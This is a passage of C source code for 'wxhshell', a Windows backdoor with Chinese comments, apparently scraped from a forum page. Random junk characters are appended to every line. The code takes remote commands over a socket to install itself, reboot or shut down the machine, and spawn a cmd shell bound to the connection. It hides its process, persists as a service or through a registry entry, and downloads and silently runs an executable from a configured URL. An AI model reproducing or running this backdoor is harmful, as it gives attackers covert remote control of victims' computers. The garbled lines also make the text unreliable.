A^M]vk%dg  
    switch(cmd[0]) { >3D1:0Sg  
  zZPWE "u}  
  // 帮助 :(ql=+vDb4  
  case '?': { '.z7)n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \5&Mg81  
    break; -4+'(3qr  
  } `},:dDHI  
  // 安装 5ZkR3/h e  
  case 'i': { B|a<=~  
    if(Install()) ZKrK >X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0=!%f_G!  
    else `lE&:)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J'|[-D-a  
    break; :Ef!gpS}?R  
    } ($`IHKF1.l  
  // 卸载 `q]' ^EzJ  
  case 'r': { 9Br+]F _i  
    if(Uninstall()) @d{}M)6\!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U/{t "e  
    else Q8Ek}O\MC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2~/`L=L  
    break; ]\K?%z  
    } Pi=FnS  
  // 显示 wxhshell 所在路径 %8I^&~E1  
  case 'p': { 'fK=;mM  
    char svExeFile[MAX_PATH]; -w2^26 ax  
    strcpy(svExeFile,"\n\r"); XGR63hXND  
      strcat(svExeFile,ExeFile); M:OZWYQ  
        send(wsh,svExeFile,strlen(svExeFile),0); {@L{l1|0  
    break; T_2'=7  
    } V^FM-bg%9  
  // 重启 5!9y nIC+>  
  case 'b': { "JmbYb#Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gNxv.6Pp=  
    if(Boot(REBOOT)) Q (N'Oj:J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -SD:G]un  
    else { {(-923|,  
    closesocket(wsh); 5YPIv-  
    ExitThread(0); ,9 ^ 5  
    } .T8^>z1/\F  
    break; YhglL!p C  
    } "?k'S{;  
  // 关机 PT,*KYF_O"  
  case 'd': { rkS'OC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \I i# R  
    if(Boot(SHUTDOWN)) qDswFs(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "fNv(> -7s  
    else { Us "G X_  
    closesocket(wsh); kKbbsB  
    ExitThread(0); P[H`]q|  
    } :, H_ e! X  
    break; +>it u J  
    } n@@tO#!\  
  // 获取shell <F_w4!  
  case 's': { P/~dY  
    CmdShell(wsh); G2[2y-Rv  
    closesocket(wsh); uq:'`o-1  
    ExitThread(0); ~O./A-l  
    break; )rA\+XT7  
  } Y uZ  
  // 退出 Vx0Hq`_14  
  case 'x': { $?: -A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -{eiV0<^  
    CloseIt(wsh); \iEJ9V  
    break; 25, [<Ao  
    } $a\X(okx  
  // 离开 0~<t :q!  
  case 'q': { h*P0;V`UX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Z"Kvj;>u  
    closesocket(wsh); uTbMp~cYB  
    WSACleanup(); &U.y):  
    exit(1); Tig6<t+Q  
    break; N9)ERW2`*  
        } nYRD>S?uz  
  } Vyx&MU.-J  
  } `~=Is.V[  
d9 8pv%  
  // 提示信息 S!}pL8OE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gJOswN;([  
} _x#r,1V+D  
  } mW_A 3S5  
4f0dc\$  
  return; hW c M.  
} A@k=Mk  
gY=+G6;=<  
// shell模块句柄 10/3-)+  
int CmdShell(SOCKET sock) Q([g1?F9*  
{ ~0.@1zEXj  
STARTUPINFO si; BT{({3  
ZeroMemory(&si,sizeof(si)); {24Pv#ZG#^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^h|'\-d\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s3T 6"%S`  
PROCESS_INFORMATION ProcessInfo; :\1&5Pm]  
char cmdline[]="cmd"; :(x 90;DW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M9S[{Jj*  
  return 0; XlNB9\"5  
} lu.2ZQE  
b}G +7B  
// 自身启动模式 8%U)EU  
int StartFromService(void) G}~b  
{ 5O%}.}n  
typedef struct 4]8PF  
{ 55N/[{[  
  DWORD ExitStatus; <~8W>Y\m  
  DWORD PebBaseAddress; eS Fmx  
  DWORD AffinityMask; +V\NMW4d  
  DWORD BasePriority; z KWi9  
  ULONG UniqueProcessId; r*3XM{bZ/@  
  ULONG InheritedFromUniqueProcessId; f%auz4CZz  
}   PROCESS_BASIC_INFORMATION; p-/x Md  
eaiz w@N  
PROCNTQSIP NtQueryInformationProcess; aA yFu_  
wy&*6>.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `RzM)ILl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O 1X !  
< ?nr"V  
  HANDLE             hProcess; SI(8.$1  
  PROCESS_BASIC_INFORMATION pbi; >) :d38M  
XKK*RVs#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); },L[bDOV07  
  if(NULL == hInst ) return 0; ]V]o%onW  
`4p9K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +1623E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xX>448=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -T(V6&'Qi  
/ q!&I  
  if (!NtQueryInformationProcess) return 0; ^~I  
+[7u>RJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,?f(~<Aj  
  if(!hProcess) return 0; Y{'G2)e  
K=>/(s Wiq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q& \k"X1  
C|JWom\J  
  CloseHandle(hProcess); ixkg,  
/][U$Q;Ke  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G j:|  
if(hProcess==NULL) return 0; u!S{[7 FY  
pL-$Np] V  
HMODULE hMod; _[7uLWyC9  
char procName[255]; m1hf[cg  
unsigned long cbNeeded; BW;u? 1Xa  
!14z4]b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DQ}]'*@?  
wDG4rN9x  
  CloseHandle(hProcess); WQ]pg "  
G#*;3X$  
if(strstr(procName,"services")) return 1; // 以服务启动 M/qiA.C@W  
v]!7=>/2  
  return 0; // 注册表启动 o_5@R+&  
} 5%$#3LT|  
rG]Xgq"   
// 主模块 koU.`l.  
int StartWxhshell(LPSTR lpCmdLine) l]Sui_+ZU  
{ g/J!U8W"  
  SOCKET wsl; {m?x},  
BOOL val=TRUE; o5R\7}]GE  
  int port=0; VGq]id{*$  
  struct sockaddr_in door; )Fw)&5B!  
#wyS?FP-  
  if(wscfg.ws_autoins) Install(); )em.KbsPPF  
;a`X|N9  
port=atoi(lpCmdLine); |<0@RCgM  
yN.D(ZwF:  
if(port<=0) port=wscfg.ws_port; ]lY9[~ v  
jo*9QO  
  WSADATA data; DPOPRi~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Mk}Suf&H  
u/f&Wq/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /WfxI>v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |*5nr5c_L  
  door.sin_family = AF_INET; LayU)TIt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S8VR#  
  door.sin_port = htons(port); a5M>1&j/eC  
~}*;Ko\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { as4NvZ@+r  
closesocket(wsl); `^kST><  
return 1; 4;||g@f'[  
} rzHa&:Y  
Ah6x2(:  
  if(listen(wsl,2) == INVALID_SOCKET) { =*Xf(mhc  
closesocket(wsl); KF)i66  
return 1; 9_3M}|V$^e  
} [\1l4C  
  Wxhshell(wsl); }nl)*l  
  WSACleanup(); "_j7kYAl  
$NH Wg(/R@  
return 0; 3)a29uc:U  
kVv <tw  
} 1`{ib  
<*(R+to^d  
// 以NT服务方式启动 (xed(uFEK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;G]'}$`/q  
{ {6sfa?1j  
DWORD   status = 0; c^IEj1@}'?  
  DWORD   specificError = 0xfffffff; nif' l/@"  
bf/loMtD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rgKn=8+a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FOi`TZ8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zd ,=  
  serviceStatus.dwWin32ExitCode     = 0; K3DJ"NJ<Ji  
  serviceStatus.dwServiceSpecificExitCode = 0; TP::y  
  serviceStatus.dwCheckPoint       = 0; jqWvLBU!  
  serviceStatus.dwWaitHint       = 0; D:tZiS=0  
a HL '(<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T(^8ki  
  if (hServiceStatusHandle==0) return; RJ4mlW  
:w%b w\}  
status = GetLastError(); , % jTXb  
  if (status!=NO_ERROR) 1o78e2B  
{ ]_8I_V cQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `|Z@UPHzG  
    serviceStatus.dwCheckPoint       = 0; %W;Gf9.w  
    serviceStatus.dwWaitHint       = 0; D ;$+]2  
    serviceStatus.dwWin32ExitCode     = status; z %E!tB2o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ya g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !13 /+ u  
    return; h##?~!xDmq  
  } BrMp_M  
PJ:5Lb<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [(EH  
  serviceStatus.dwCheckPoint       = 0; xGv,%'u\  
  serviceStatus.dwWaitHint       = 0; Ia:puks=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k+GnF00N^8  
} ^Jl!WH=20}  
+gCy@_2;  
// 处理NT服务事件,比如:启动、停止 h=r< B\Pa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N%|Vzc  
{ Tc5OI'-V  
switch(fdwControl) 8;f<qu|w  
{ yi-"hT`  
case SERVICE_CONTROL_STOP: @<TZH  
  serviceStatus.dwWin32ExitCode = 0; x][9ptr h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |SukiXJZF  
  serviceStatus.dwCheckPoint   = 0; "|r^l  
  serviceStatus.dwWaitHint     = 0; | 4oM+n;Y  
  { p2DNbY\]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ R^N`V   
  } }rA+W-7  
  return; JKi@Kw  
case SERVICE_CONTROL_PAUSE: ( WtE`f;Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K(KP3Q  
  break; )F#<)Evw  
case SERVICE_CONTROL_CONTINUE: m<,G:?RM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bo!]  
  break; C\^<v&  
case SERVICE_CONTROL_INTERROGATE: AH 87UkNL  
  break; xnuv4Z}]t  
}; |U$de2LF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +6M+hO]  
} #JR,C -w  
'Kzr-)JS  
// 标准应用程序主函数 q|$>H6H4b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .6 ?>t!&W  
{ uyRA`<&w  
G9y12HV  
// 获取操作系统版本 w H_n$w  
OsIsNt=GetOsVer(); :n>ccZeMv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1QF*e'  
"kBqY+:Cn  
  // 从命令行安装 w]Ko/;;^2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0.BUfuuh  
['Y+z2k  
  // 下载执行文件 R4~zL!7;  
if(wscfg.ws_downexe) { rq(~/Yc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZOrTbik  
  WinExec(wscfg.ws_filenam,SW_HIDE); "X{aS}  
} ,+f0cv4  
)Rhff$  
if(!OsIsNt) { 01{r^ZT`RH  
// 如果时win9x,隐藏进程并且设置为注册表启动 OBw`!G*w  
HideProc(); ;4/dk_~p]  
StartWxhshell(lpCmdLine); '=K of1  
} ? __aVQ7  
else X# kjt )W  
  if(StartFromService()) w^due P7J  
  // 以服务方式启动 Q+!0)pG5#  
  StartServiceCtrlDispatcher(DispatchTable); DNW2;i<hsz  
else Zu0;/_rN  
  // 普通方式启动 #[U 9(44,  
  StartWxhshell(lpCmdLine); lA.;ZD!  
^L8Wn6s'  
return 0; %7(kP}y*  
}
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只看该作者 1 发表于: 2006-10-10
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